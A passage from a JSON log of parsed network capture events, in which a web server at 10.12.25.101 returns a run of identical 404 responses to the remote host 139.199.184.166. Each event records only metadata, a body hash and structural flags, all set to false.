          "dst_port": 55005,
          "event_id": "evt-97efebfb59c9ee3375d95aab",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 568,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255601.643744000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "569",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-d7f49483b941a38d80677820",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 570,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255602.562031000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "572",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-352ed50e2d6700dde042cd1e",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 573,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255604.562170000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "575",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-bffc98e32fd83291df1c1fa4",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 576,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255608.780123000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "578",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-83777f74368c57c001ebd8f2",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 579,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255609.058938000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "581",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-ec3583eab57da0a234db2b2a",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 583,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255610.605130000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "585",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-15517f4094ff94ebffed8875",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 586,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255613.562292000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "588",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-1735caf3a903218a1a0b651d",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 589,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255613.840741000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "591",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-e5c6c66f4322b232bc020ef1",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 592,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255614.119446000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "594",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-b8d208c568145fbd283d9a49",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 596,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255616.925450000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "598",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-5d6cdc9cf836fa517a0c5463",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 599,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255617.795164000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "601",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-29e56ed4296f19bdb67b1684",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 603,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255622.246610000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "605",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-79fd51b045385c3b892a8a2c",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 606,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255622.542094000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "608",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-6eb46419449e9e1c6f04f009",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 609,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255622.820500000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "611",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-e4a542591504af4ac5d31c4e",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 612,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255623.655913000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "614",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-c5eae0540298a17cb42b7927",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 615,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255623.934582000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "617",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-65e1a79e51a0a209ec314f82",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 618,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255624.213013000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "620",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-14e5fac0f68e3820140c7106",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 621,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255625.062353000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "623",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-12cd42bb0b1e6640b49f6de9",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 624,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255625.639130000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "626",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55005,
          "event_id": "evt-46342208c81241e55c3174fb",
          "src_port": 80,
          "tcp_stream": 16,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 627,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255626.563031000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "634",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59562,
          "event_id": "evt-458273cd18b2b970410c9cf9",
          "src_port": 80,
          "tcp_stream": 17,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 636,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255629.868241000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "644",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59916,
          "event_id": "evt-41347093616aac0fd1e45761",
          "src_port": 80,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 646,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255632.062879000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "648",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59916,
          "event_id": "evt-3b8298a395b9c5b1876f5a85",
          "src_port": 80,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 649,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255632.327266000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "651",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59916,
          "event_id": "evt-a714e78d270487b645d801dc",
          "src_port": 80,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 652,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255635.007037000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "654",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59916,
          "event_id": "evt-0302a3a043f10a93bc175e15",
          "src_port": 80,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 655,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255635.271302000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "657",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59916,
          "event_id": "evt-f39708f5e103db5757a4276c",
          "src_port": 80,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 659,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255637.840516000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "661",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59916,
          "event_id": "evt-9138d66f0579b327f5828131",
          "src_port": 80,
          "tcp_stream": 18,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 662,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255638.471729000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "670",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61842,
          "event_id": "evt-a0e3d99eed2c8bd2908c3166",
          "src_port": 80,
          "tcp_stream": 19,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 672,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255644.951015000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "682",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 62674,
          "event_id": "evt-7d88fcb1372f3dede4b90b18",
          "src_port": 80,
          "tcp_stream": 21,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 684,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255649.873093000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "699",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64064,
          "event_id": "evt-8643f4cdf7f19a1fc8a5f3b2",
          "src_port": 80,
          "tcp_stream": 23,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 701,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255662.779524000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "703",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64064,
          "event_id": "evt-5b1468802067a2ef94ecbdb0",
          "src_port": 80,
          "tcp_stream": 23,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 704,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255663.598877000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "706",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64064,
          "event_id": "evt-06dad641adf5d240662aeb5d",
          "src_port": 80,
          "tcp_stream": 23,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 707,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255664.110498000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "716",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-3aa4853e46cc571235adc804",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 718,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255673.803046000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "720",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-2352778c3059f6a9b0c68bb8",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 721,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255674.306233000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "723",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-dee8589140a8b16a013e157d",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 724,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255675.190544000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "726",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-6bac746ce4037fbb5b78b972",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 727,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255677.218816000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "729",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-b0654b42e4bd2eeb33525abe",
          "src_port": 80,
          "tcp_stream": 24,
